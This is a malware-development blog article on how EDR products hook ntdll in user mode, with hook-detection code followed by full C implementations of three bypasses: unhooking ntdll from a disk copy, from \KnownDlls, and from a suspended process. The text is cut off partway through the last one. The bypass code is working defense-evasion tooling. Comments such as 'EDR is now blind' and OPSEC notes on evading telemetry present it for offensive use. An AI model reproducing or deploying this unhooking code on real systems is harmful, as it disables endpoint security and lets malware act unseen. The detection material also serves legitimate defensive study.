ᛉ Yggdrasil

Malware development

EDR User-Mode Hooking Internals

16 Oct 2026 · 9,805 words · 45 min

Contents

Legend: [HOOK] = Hooking technique | [BYPASS] = Bypass method | [DETECT] = Detection vector | [OPSEC] = Operational Security note | [TOOL] = Tool reference | [MITRE] = ATT&CK mapping | [ASM] = Assembly / low-level detail | [KERNEL] = Kernel-mode concept


1. What is User-Mode Hooking?

What it means: When an EDR (Endpoint Detection and Response) product installs itself on a system, it injects a DLL into every running process. That DLL modifies the in-memory code of critical Windows system functions — before those functions can reach the kernel — so that execution is redirected to the EDR's analysis code first.

The historical context:

Pre-PatchGuard Era (Windows XP/Vista):
└─ EDRs hooked the SSDT (System Service Descriptor Table) in kernel
   ├─ All Nt/Zw calls passed through the SSDT
   └─ EDR could inspect every kernel transition centrally

Post-PatchGuard (Windows 7+):
└─ Microsoft introduced PatchGuard — SSDT modifications crash the system
   ├─ Kernel-mode hooking mostly off limits
   └─ EDRs moved to USER-MODE hooking in ntdll.dll as the answer

Why ntdll.dll is the interception point:

Windows API Call Stack (simplified):

Application Code
    │
    ▼
Win32 API (kernel32.dll, user32.dll, advapi32.dll)
    │   — High-level abstractions — CreateFile, WriteFile, etc.
    ▼
Native API (ntdll.dll)  ◄─── EDR HOOKS GO HERE
    │   — Nt* / Zw* functions — NtCreateFile, NtWriteVirtualMemory
    ▼
syscall / sysenter instruction
    │   — Transition from Ring 3 → Ring 0
    ▼
Kernel (ntoskrnl.exe)
    │   — System Service Descriptor Table (SSDT)
    └─ Actual kernel implementation runs

Why ntdll is the perfect EDR hook point: - Every application eventually calls ntdll — no matter which high-level API it uses - ntdll is the last user-mode code before entering the kernel - Hooking here gives visibility into all native API calls regardless of which library called them

What the EDR hooks (common targets):

Function Purpose Why EDR hooks it
NtAllocateVirtualMemory Allocate memory Shellcode allocation
NtWriteVirtualMemory Write to remote process Process injection
NtCreateThreadEx Create remote thread Remote code execution
NtProtectVirtualMemory Change memory protection RW→RX = shellcode prep
NtOpenProcess Get handle to process LSASS dumping, injection
NtCreateFile Create/open files Ransomware, exfil
NtQueueApcThread Queue APC APC injection
NtMapViewOfSection Map section into process DLL injection, PE loading
NtLoadDriver Load kernel driver BYOVD attacks
LdrLoadDll Load a DLL DLL hijacking detection

[MITRE] T1055 — Process Injection. Most hooked functions are injection-related. [MITRE] T1562.001 — Impair Defenses: Disable or Modify Tools. Unhooking is covered here.


2. Windows API Call Chain — How EDRs Intercept Calls

What it means: Understanding the exact call chain from your code to the kernel is essential before any bypass. Every function call passes through multiple layers, and EDRs install their interception at the ntdll layer.

2.1 Full Call Chain (x64, Windows 10/11)

Your Code:
    VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        │
        ▼
kernel32.dll → VirtualAllocEx()
    — Thin wrapper, validates params, adjusts flags
    — Calls kernelbase.dll internally
        │
        ▼
kernelbase.dll → VirtualAllocEx() / NtVirtualAllocateMemory()
    — Another wrapper layer
        │
        ▼
ntdll.dll → NtAllocateVirtualMemory()  ◄──── EDR JMP HOOK HERE
    ┌───────────────────────────────────────────┐
    │ ORIGINAL BYTES (before EDR):              │
    │   4C 8B D1          mov r10, rcx          │
    │   B8 18 00 00 00    mov eax, 0x18 (SSN)   │
    │   0F 05             syscall               │
    │   C3                ret                   │
    └───────────────────────────────────────────┘
    ┌───────────────────────────────────────────┐
    │ PATCHED BYTES (after EDR hooks):          │
    │   E9 XX XX XX XX    jmp <EDR hook>        │  ← Hook!
    │   B8 18 00 00 00    mov eax, 0x18         │  (trailing bytes unchanged)
    │   0F 05             syscall               │
    │   C3                ret                   │
    └───────────────────────────────────────────┘
        │
        ▼ (JMP redirects here)
EDR's DLL (e.g., CrowdStrike's csagent.dll, SentinelOne's InProcessClient.dll)
    — Inspects call parameters
    — Checks call stack (where did this call come from?)
    — Runs heuristics / behavioral analysis
    — Decision: ALLOW or BLOCK
        │
        ▼ (if allowed)
    Executes overwritten instructions (saved in trampoline)
    JMP back to ntdll just after the hook (instruction +5)
        │
        ▼
syscall instruction executes → Ring 0 transition
        │
        ▼
Kernel receives the call, executes operation

2.2 EDR DLL Injection Mechanism

How the EDR DLL gets into every process:

Method 1: AppInit_DLLs registry key
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
    → DLL loaded into every process that loads User32.dll (legacy)

Method 2: Image Load Notification (kernel callback)
    → EDR kernel driver registers PsSetLoadImageNotifyRoutine()
    → On every DLL load / process create, EDR gets a callback
    → EDR driver uses APC (Asynchronous Procedure Call) to inject its DLL
    → DLL runs DllMain, installs hooks in ntdll

Method 3: SetWindowsHookEx (legacy)
    → Injects DLL into GUI processes only (limited visibility)

Modern EDRs use Method 2 — kernel driver + APC injection into every new process.
EDR DLL is loaded BEFORE any user code runs → hooks are always in place.

3. Inline Hooking (JMP Patching) — How EDRs Do It

What it means: The most common hooking technique. The EDR overwrites the first 5 bytes of an ntdll function with a JMP instruction to redirect execution to its own handler. This is called a "trampoline" hook.

3.1 JMP Hook Anatomy

; ── BEFORE HOOK (original ntdll!NtAllocateVirtualMemory) ──────
; x64 syscall stub — standard pattern for ALL Nt* functions
4C 8B D1          mov r10, rcx          ; syscall calling convention
B8 18 00 00 00    mov eax, 0x18         ; SSN (Syscall Service Number)
0F 05             syscall               ; transition to kernel
C3                ret

; ── AFTER HOOK (EDR overwrites first 5 bytes) ─────────────────
E9 AB CD EF 01    jmp 0x<EDR_handler>   ; ← HOOK — redirects to EDR DLL
00 00 00 00       (4 bytes = mov eax, SSN trailing)
0F 05             syscall               ; still here (unused now)
C3                ret

; ── EDR TRAMPOLINE (saved by EDR to allow "pass-through") ──────
; EDR saves overwritten bytes + jump back:
4C 8B D1          mov r10, rcx          ; original byte 1
B8 18 00 00 00    mov eax, 0x18         ; original byte 2
FF 25 00 00 00 00 jmp [rip+0]           ; absolute JMP back to ntdll+5
<address>         .quad ntdll+5         ; pointer to ntdll resume addr

3.2 Implementing a Hook (EDR Perspective — C Code)

// hook_impl.c — How an EDR installs an inline hook
// This is how the EDR DLL works — not bypass code
// Understanding this is essential before attempting bypass

#include <windows.h>
#include <stdio.h>

// ── Hook structure ────────────────────────────────────────────
typedef struct _HOOK {
    LPVOID  target_func;         // Address in ntdll being hooked
    LPVOID  hook_func;           // Address of our handler (in EDR DLL)
    BYTE    original_bytes[14];  // Saved original bytes (trampoline)
    LPVOID  trampoline;          // Pointer to allocated trampoline
} HOOK, *PHOOK;

// ── Write JMP patch ───────────────────────────────────────────
// x64 absolute indirect JMP:
// FF 25 00 00 00 00   jmp [rip+0]
// <8-byte address>
// Total: 14 bytes (use this for absolute JMP)
// Simple near JMP: E9 xx xx xx xx (5 bytes, ±2GB range)

BOOL write_jmp_hook(LPVOID target, LPVOID destination) {
    DWORD old_protect;

    // ── Build JMP patch (absolute, 14 bytes) ─────────────────
    BYTE patch[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // jmp [rip+0]
        0x00, 0x00, 0x00, 0x00,               // .quad (low 4)
        0x00, 0x00, 0x00, 0x00                // .quad (high 4)
    };
    *(LPVOID*)(patch + 6) = destination;  // Write destination address

    // ── Make target writable ──────────────────────────────────
    if (!VirtualProtect(target, 14, PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("[-] VirtualProtect failed: %lu\n", GetLastError());
        return FALSE;
    }

    // ── Write patch ───────────────────────────────────────────
    memcpy(target, patch, 14);

    // ── Restore permissions ───────────────────────────────────
    VirtualProtect(target, 14, old_protect, &old_protect);

    return TRUE;
}

// ── Build trampoline (lets EDR call original after inspection) ─
LPVOID build_trampoline(LPVOID target, BYTE* saved_bytes, DWORD saved_len) {
    // Allocate RWX memory for the trampoline
    LPVOID tramp = VirtualAlloc(NULL, 64,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);
    if (!tramp) return NULL;

    // Copy saved original bytes
    memcpy(tramp, saved_bytes, saved_len);

    // Append absolute JMP back to (target + saved_len)
    BYTE jmp_back[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00
    };
    *(LPVOID*)(jmp_back + 6) = (BYTE*)target + saved_len;
    memcpy((BYTE*)tramp + saved_len, jmp_back, 14);

    return tramp;
}

// ── Example: Hook NtAllocateVirtualMemory ─────────────────────
NTSTATUS NTAPI EDR_NtAllocateVirtualMemory_Hook(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect)
{
    printf("[EDR HOOK] NtAllocateVirtualMemory called!\n");
    printf("  Process: 0x%p | Size: 0x%zx | Protect: 0x%lx\n",
           ProcessHandle, *RegionSize, Protect);

    // Heuristic: RWX memory allocation — suspicious!
    if (Protect & PAGE_EXECUTE_READWRITE) {
        printf("[EDR ALERT] RWX allocation detected — possible shellcode!\n");
        // return STATUS_ACCESS_DENIED;  // Block it
    }

    // Call original via trampoline
    // typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(...);
    // return ((pNtAllocateVirtualMemory)trampoline)(...);
    return 0;  // Simplified
}

3.3 Common EDR Hook Bytes (Recognizing Hooks)

#!/usr/bin/env python3
# identify_hooks.py — Check ntdll for EDR hook patterns

import ctypes

# Typical intact (unhooked) ntdll Nt* function first bytes:
# 4C 8B D1   → mov r10, rcx
# B8 xx xx xx xx  → mov eax, <SSN>
# 0F 05      → syscall
# C3         → ret

CLEAN_PROLOGUE_BYTES = bytes([0x4C, 0x8B, 0xD1, 0xB8])

# Common hook JMP patterns to look for:
HOOK_PATTERNS = {
    b'\xE9': "Near JMP (5-byte hook)",
    b'\xFF\x25': "Indirect JMP via RIP (14-byte absolute hook)",
    b'\xCC': "INT3 breakpoint hook",
    b'\x68\x00': "PUSH/RET hook",
    b'\x90': "NOP sled (obfuscated hook)",
    b'\x48\xB8': "MOV RAX, addr (likely stub redirect)",
}

def check_ntdll_hooks():
    """Scan ntdll exports for hook signatures."""
    ntdll = ctypes.WinDLL("ntdll")

    # Get ntdll base address
    ntdll_base = ctypes.windll.kernel32.GetModuleHandleW("ntdll.dll")
    print(f"[*] ntdll base: 0x{ntdll_base:016x}")
    print(f"{'Function':<45} {'First 6 bytes':<25} {'Status'}")
    print("-" * 80)

    nt_functions = [
        "NtAllocateVirtualMemory",
        "NtWriteVirtualMemory",
        "NtCreateThreadEx",
        "NtProtectVirtualMemory",
        "NtOpenProcess",
        "NtReadVirtualMemory",
        "NtQueueApcThread",
        "NtCreateFile",
        "NtMapViewOfSection",
        "NtUnmapViewOfSection",
        "NtLoadDriver",
        "NtSetContextThread",
        "NtSuspendProcess",
        "LdrLoadDll",
    ]

    for fn_name in nt_functions:
        try:
            fn_addr = ctypes.cast(
                getattr(ntdll, fn_name),
                ctypes.c_void_p
            ).value

            # Read first 6 bytes
            buf = (ctypes.c_byte * 6)()
            ctypes.windll.kernel32.ReadProcessMemory(
                ctypes.windll.kernel32.GetCurrentProcess(),
                fn_addr, buf, 6, None
            )
            raw = bytes(ctypes.string_at(fn_addr, 6))
            hex_str = " ".join(f"{b:02X}" for b in raw)

            # Check for hook
            status = "✓ CLEAN"
            for pattern, desc in HOOK_PATTERNS.items():
                if raw.startswith(pattern):
                    status = f"⚠ HOOKED — {desc}"
                    break
            if raw[:4] == CLEAN_PROLOGUE_BYTES:
                status = "✓ CLEAN (standard syscall stub)"

            print(f"{fn_name:<45} {hex_str:<25} {status}")
        except AttributeError:
            print(f"{fn_name:<45} {'N/A':<25} Function not exported")

check_ntdll_hooks()

4. IAT Hooking (Import Address Table)

What it means: Instead of patching function code, some EDRs redirect IAT entries — the pointer table a PE uses to resolve imported functions. When your binary calls VirtualAlloc, it does so through an IAT entry pointing to kernel32!VirtualAlloc. An EDR can overwrite that pointer with its own handler address.

4.1 IAT Hook vs Inline Hook

IAT Hook:
  PE Binary's IAT:
    VirtualAlloc  → 0x7FFE1234  (kernel32!VirtualAlloc)
    ↓
    VirtualAlloc  → 0x6FFF0000  (EDR handler)  ← IAT entry overwritten

  Weakness: Only affects this specific PE's calls
            (won't catch dynamically resolved calls)

Inline Hook:
  In ntdll.dll .text section:
    NtAllocateVirtualMemory bytes patched with JMP
  Affects ALL calls through ntdll regardless of source

Modern EDRs prefer inline hooks — broader visibility.
IAT hooks used by some as a secondary check.

4.2 IAT Hook Detection (C Code)

// iat_hook_check.c — Detect if IAT entries have been redirected

#include <windows.h>
#include <stdio.h>

void check_iat_hooks(HMODULE hModule) {
    IMAGE_DOS_HEADER*     dos_hdr  = (IMAGE_DOS_HEADER*)hModule;
    IMAGE_NT_HEADERS*     nt_hdrs  = (IMAGE_NT_HEADERS*)
        ((BYTE*)hModule + dos_hdr->e_lfanew);
    IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
        ((BYTE*)hModule + nt_hdrs->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    while (import->Name) {
        char* dll_name = (char*)((BYTE*)hModule + import->Name);
        IMAGE_THUNK_DATA* iat = (IMAGE_THUNK_DATA*)
            ((BYTE*)hModule + import->FirstThunk);

        while (iat->u1.Function) {
            HMODULE hOwner = NULL;
            // Find which module owns this function pointer
            GetModuleHandleExA(
                GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS |
                GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
                (LPCSTR)iat->u1.Function, &hOwner
            );

            char owner_name[MAX_PATH] = {0};
            GetModuleFileNameA(hOwner, owner_name, MAX_PATH);

            // If IAT entry points outside the expected DLL — possible hook!
            if (!strstr(owner_name, dll_name)) {
                printf("[!] IAT HOOK DETECTED:\n");
                printf("    Import from: %s\n", dll_name);
                printf("    Points to:   %s (0x%p)\n",
                       owner_name, (LPVOID)iat->u1.Function);
            }
            iat++;
        }
        import++;
    }
}

5. Detecting EDR Hooks — From Inside the Process

What it means: Before attempting any bypass, enumerate what's actually hooked in your process. This tells you exactly which functions the EDR is monitoring and which bypass technique is appropriate.

5.1 Enumerate All Hooks via Disk Comparison

// hook_detector.c — Compare ntdll in memory vs clean copy on disk
// Differences = hooks installed by EDR

#include <windows.h>
#include <stdio.h>

typedef struct {
    char   func_name[128];
    DWORD  func_rva;
    BYTE   mem_bytes[6];   // Current in-memory bytes
    BYTE   disk_bytes[6];  // Original from-disk bytes
    BOOL   is_hooked;
} HOOK_ENTRY;

// Load ntdll from disk (avoiding hooked in-memory copy)
LPVOID load_ntdll_from_disk() {
    HANDLE hFile = CreateFileW(
        L"C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, 0, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) return NULL;

    HANDLE hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    CloseHandle(hFile);
    if (!hMap) return NULL;

    LPVOID view = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMap);
    return view;   // Returns ntdll mapped as-if loaded — correct VAs
}

void find_hooks() {
    // Get in-memory (potentially hooked) ntdll
    HMODULE ntdll_mem  = GetModuleHandleA("ntdll.dll");
    // Get clean disk copy
    LPVOID  ntdll_disk = load_ntdll_from_disk();
    if (!ntdll_disk) {
        printf("[-] Failed to load ntdll from disk\n");
        return;
    }

    // Parse exports from the in-memory copy (exports not patched by EDR)
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll_mem;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)ntdll_mem + dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(
        (BYTE*)ntdll_mem + nt->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names    = (DWORD*)((BYTE*)ntdll_mem + exp->AddressOfNames);
    WORD*  ordinals = (WORD* )((BYTE*)ntdll_mem + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)ntdll_mem + exp->AddressOfFunctions);

    printf("%-45s %-25s %-25s %s\n",
           "Function", "Memory Bytes", "Disk Bytes", "Status");
    printf("%s\n", "─────────────────────────────────────────────────────────────────────────────────────────────────────");

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)ntdll_mem + names[i]);

        // Only check Nt* functions (EDR primary targets)
        if (strncmp(name, "Nt", 2) != 0) continue;

        DWORD rva = funcs[ordinals[i]];

        // Get pointer to function in memory and on disk
        BYTE* mem_ptr  = (BYTE*)ntdll_mem  + rva;
        BYTE* disk_ptr = (BYTE*)ntdll_disk + rva;

        // Compare first 6 bytes
        BOOL hooked = memcmp(mem_ptr, disk_ptr, 6) != 0;

        if (hooked) {
            printf("%-45s ", name);
            printf("MEM:  ");
            for (int j = 0; j < 6; j++) printf("%02X ", mem_ptr[j]);
            printf(" DISK: ");
            for (int j = 0; j < 6; j++) printf("%02X ", disk_ptr[j]);
            printf("  ← HOOKED");

            // Identify hook type
            if (mem_ptr[0] == 0xE9)
                printf(" (near JMP)");
            else if (mem_ptr[0] == 0xFF && mem_ptr[1] == 0x25)
                printf(" (indirect JMP)");
            else if (mem_ptr[0] == 0xCC)
                printf(" (INT3 breakpoint)");
            printf("\n");
        }
    }

    UnmapViewOfFile(ntdll_disk);
}

5.2 Quick Hook Check (Python via ctypes)

#!/usr/bin/env python3
# quick_hook_check.py — Run on Windows Python to check your process

import ctypes, ctypes.wintypes, subprocess, os, sys

def read_mem(addr, size):
    buf = (ctypes.c_char * size)()
    bytes_read = ctypes.c_size_t(0)
    ctypes.windll.kernel32.ReadProcessMemory(
        ctypes.windll.kernel32.GetCurrentProcess(),
        ctypes.c_void_p(addr), buf, size,
        ctypes.byref(bytes_read)
    )
    return bytes(buf)

ntdll = ctypes.windll.ntdll

NT_FUNCS = [
    "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
    "NtCreateThreadEx", "NtProtectVirtualMemory",
    "NtOpenProcess", "NtReadVirtualMemory",
    "NtQueueApcThread", "NtCreateFile",
    "NtMapViewOfSection", "LdrLoadDll",
    "NtSetContextThread", "NtSuspendProcess",
]

CLEAN_START = bytes([0x4C, 0x8B, 0xD1])  # mov r10, rcx — standard stub start

print(f"{'Function':<40} {'Bytes':25} {'Status'}")
print("-" * 80)
for fn in NT_FUNCS:
    try:
        addr = ctypes.cast(getattr(ntdll, fn), ctypes.c_void_p).value
        b = read_mem(addr, 6)
        hex_str = " ".join(f"{x:02X}" for x in b)

        if b[:3] == CLEAN_START:
            status = "✓ CLEAN"
        elif b[0] == 0xE9:
            status = "⚠ HOOKED (near JMP)"
        elif b[:2] == bytes([0xFF, 0x25]):
            status = "⚠ HOOKED (abs JMP)"
        elif b[0] == 0xCC:
            status = "⚠ HOOKED (INT3)"
        else:
            status = "? UNKNOWN"

        print(f"{fn:<40} {hex_str:<25} {status}")
    except:
        print(f"{fn:<40} {'N/A':25} Not found")

6. Bypass 1 — ntdll Unhooking (Disk Copy)

What it means: Load a fresh, unhooked copy of ntdll.dll directly from disk. Compare its .text section (which contains the Nt* stubs) to the hooked in-memory version. Overwrite the hooked .text section with the clean bytes from disk. All EDR hooks are instantly removed.

Strategy:
  1. Open ntdll.dll from C:\Windows\System32\ntdll.dll as a file
  2. Map it into memory (SEC_IMAGE — preserves correct VA layout)
  3. Find .text section in both: disk copy and in-memory (hooked) copy
  4. VirtualProtect: make in-memory .text writable
  5. memcpy: overwrite hooked .text with clean disk bytes
  6. VirtualProtect: restore PAGE_EXECUTE_READ
  7. All hooks removed — EDR is now blind in this process

6.1 Full Implementation (C)

// unhook_disk.c — Restore ntdll .text section from clean disk copy
// All EDR hooks in ntdll are removed after this runs

#include <windows.h>
#include <stdio.h>

// ── Find a PE section by name ──────────────────────────────────
IMAGE_SECTION_HEADER* find_section(LPVOID base, const char* name) {
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
    IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(sec[i].Name, name, strlen(name)) == 0)
            return &sec[i];
    }
    return NULL;
}

BOOL unhook_ntdll_from_disk() {
    HMODULE ntdll_base = GetModuleHandleA("ntdll.dll");
    if (!ntdll_base) {
        printf("[-] Failed to get ntdll handle\n");
        return FALSE;
    }

    // ── Step 1: Open ntdll on disk ─────────────────────────────
    HANDLE hFile = CreateFileW(
        L"C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return FALSE;
    }

    // ── Step 2: Map with SEC_IMAGE (loads like loader would) ────
    HANDLE hMap = CreateFileMappingW(
        hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL
    );
    CloseHandle(hFile);
    if (!hMap) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        return FALSE;
    }

    LPVOID ntdll_disk = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMap);
    if (!ntdll_disk) {
        printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[*] Loaded clean ntdll from disk at: 0x%p\n", ntdll_disk);

    // ── Step 3: Find .text section in both copies ───────────────
    IMAGE_SECTION_HEADER* clean_sec = find_section(ntdll_disk, ".text");
    IMAGE_SECTION_HEADER* hooked_sec = find_section(ntdll_base, ".text");

    if (!clean_sec || !hooked_sec) {
        printf("[-] Failed to find .text section\n");
        UnmapViewOfFile(ntdll_disk);
        return FALSE;
    }

    LPVOID clean_text  = (BYTE*)ntdll_disk + clean_sec->VirtualAddress;
    LPVOID hooked_text = (BYTE*)ntdll_base + hooked_sec->VirtualAddress;
    SIZE_T text_size   = clean_sec->Misc.VirtualSize;

    printf("[*] Hooked .text:  0x%p (size: 0x%zx)\n", hooked_text, text_size);
    printf("[*] Clean .text:   0x%p\n", clean_text);

    // ── Step 4: Remove write protection on hooked .text ─────────
    DWORD old_protect;
    if (!VirtualProtect(hooked_text, text_size,
                        PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("[-] VirtualProtect (RWX) failed: %lu\n", GetLastError());
        UnmapViewOfFile(ntdll_disk);
        return FALSE;
    }

    // ── Step 5: Copy clean bytes over hooked bytes ───────────────
    memcpy(hooked_text, clean_text, text_size);
    printf("[*] Clean .text copied over hooked .text\n");

    // ── Step 6: Restore protection ────────────────────────────────
    VirtualProtect(hooked_text, text_size, old_protect, &old_protect);
    UnmapViewOfFile(ntdll_disk);

    printf("[+] ntdll unhooked successfully — EDR is now blind\n");
    return TRUE;
}

int main() {
    unhook_ntdll_from_disk();
    return 0;
}

[DETECT] EDR detection of disk-based unhooking: Some EDRs monitor CreateFile calls on ntdll.dll from non-system processes. They also detect VirtualProtect calls on ntdll's .text section (changing it writable is a strong IOC) and then re-hook after detecting the unhook. Use the KnownDlls method (§7) or indirect syscalls for the VirtualProtect call.


7. Bypass 2 — ntdll Unhooking (KnownDlls)

What it means: Windows caches DLL files in kernel memory under \KnownDlls\. This is a section object backed by the original, clean DLL file. By opening \KnownDlls\ntdll.dll as a section and mapping it, you get a clean ntdll without touching the disk at all — no file I/O telemetry.

KnownDlls mechanism:
  \KnownDlls\ntdll.dll → kernel section object
  ├─ Backed by original ntdll.dll file
  ├─ Shared read-only across all processes
  ├─ Never modified by EDRs (they hook the loaded copy, not this)
  └─ Open via NtOpenSection → NtMapViewOfSection → clean copy

7.1 Unhook via KnownDlls (C)

// unhook_knowndlls.c — Get clean ntdll from \KnownDlls\ (no disk I/O)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* pNtOpenSection)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
typedef NTSTATUS (NTAPI* pNtMapViewOfSection)(
    HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
    PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef void (NTAPI* pRtlInitUnicodeString)(
    PUNICODE_STRING, PCWSTR);

IMAGE_SECTION_HEADER* find_section_hdr(LPVOID base, const char* name) {
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
    IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
        if (!memcmp(sec[i].Name, name, strlen(name))) return &sec[i];
    return NULL;
}

BOOL unhook_ntdll_knowndlls() {
    HMODULE ntdll_hooked = GetModuleHandleA("ntdll.dll");

    // ── Resolve needed functions from ntdll (still works pre-hook) ─
    pNtOpenSection        fpNtOpenSection = (pNtOpenSection)
        GetProcAddress(ntdll_hooked, "NtOpenSection");
    pNtMapViewOfSection   fpNtMapViewOfSection = (pNtMapViewOfSection)
        GetProcAddress(ntdll_hooked, "NtMapViewOfSection");
    pRtlInitUnicodeString fpRtlInitUnicodeString = (pRtlInitUnicodeString)
        GetProcAddress(ntdll_hooked, "RtlInitUnicodeString");

    // ── Open \KnownDlls\ntdll.dll section ──────────────────────
    UNICODE_STRING     us_ntdll;
    OBJECT_ATTRIBUTES  oa;
    HANDLE             h_section = NULL;

    fpRtlInitUnicodeString(&us_ntdll, L"\\KnownDlls\\ntdll.dll");
    InitializeObjectAttributes(&oa, &us_ntdll, OBJ_CASE_INSENSITIVE, NULL, NULL);

    NTSTATUS status = fpNtOpenSection(&h_section, SECTION_MAP_READ, &oa);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtOpenSection failed: 0x%lx\n", status);
        return FALSE;
    }

    // ── Map the clean ntdll section into current process ────────
    PVOID   ntdll_clean = NULL;
    SIZE_T  view_size   = 0;

    status = fpNtMapViewOfSection(
        h_section, GetCurrentProcess(),
        &ntdll_clean, 0, 0, NULL, &view_size,
        1 /*ViewShare*/, 0, PAGE_READONLY
    );
    CloseHandle(h_section);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtMapViewOfSection failed: 0x%lx\n", status);
        return FALSE;
    }

    printf("[*] Clean ntdll from KnownDlls mapped at: 0x%p\n", ntdll_clean);

    // ── Find .text section in both ──────────────────────────────
    IMAGE_SECTION_HEADER* clean_sec  = find_section_hdr(ntdll_clean,  ".text");
    IMAGE_SECTION_HEADER* hooked_sec = find_section_hdr(ntdll_hooked, ".text");
    if (!clean_sec || !hooked_sec) return FALSE;

    LPVOID clean_text  = (BYTE*)ntdll_clean  + clean_sec->VirtualAddress;
    LPVOID hooked_text = (BYTE*)ntdll_hooked + hooked_sec->VirtualAddress;
    SIZE_T text_size   = clean_sec->Misc.VirtualSize;

    // ── Overwrite hooked .text ───────────────────────────────────
    DWORD old_prot;
    VirtualProtect(hooked_text, text_size, PAGE_EXECUTE_READWRITE, &old_prot);
    memcpy(hooked_text, clean_text, text_size);
    VirtualProtect(hooked_text, text_size, old_prot, &old_prot);

    UnmapViewOfFile(ntdll_clean);

    printf("[+] ntdll unhooked via KnownDlls — no disk I/O\n");
    return TRUE;
}

[OPSEC] KnownDlls is stealthier than disk read because it generates no file I/O telemetry. However, the VirtualProtect call on ntdll's .text section is still a red flag. Use indirect syscalls (§12) for the VirtualProtect call itself.


8. Bypass 3 — Perun's Fart (Suspended Process)

What it means: Perun's Fart (named after a Slavic deity) avoids reading from disk entirely. Spawn a new process in a suspended state, read a clean copy of ntdll from that process's memory (the suspended process has a clean ntdll before any EDR DLL has been injected), then use that clean copy to unhook your own process.

Why it works:
  1. New process created → Windows loads ntdll (always first DLL loaded)
  2. Process starts suspended → EDR's DLL injection hasn't happened yet
  3. At this brief window: the new process's ntdll is CLEAN
  4. NtReadVirtualMemory → extract clean ntdll from suspended process
  5. Use clean bytes to unhook own process
  6. Terminate/resume the suspended process

No disk I/O → No file read telemetry for ntdll

8.1 Perun's Fart Implementation (C)

// peruns_fart.c — Unhook ntdll via fresh suspended process
// Based on Sektor7 / reenz0h technique

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>

IMAGE_SECTION_HEADER* find_text_section(LPVOID base) {
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)base + dos->e_lfanew);
    IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
        if (!memcmp(sec[i].Name, ".text", 5)) return &sec[i];
    return NULL;
}

BOOL peruns_fart_unhook() {
    // ── Step 1: Find a benign exe to spawn (use svchost / cmd) ─
    wchar_t target_exe[MAX_PATH];
    GetSystemDirectoryW(target_exe, MAX_PATH);
    wcscat_s(target_exe, MAX_PATH, L"\\notepad.exe");

    // ── Step 2: Spawn process SUSPENDED ────────────────────────
    STARTUPINFOW        si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    if (!CreateProcessW(
            target_exe, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
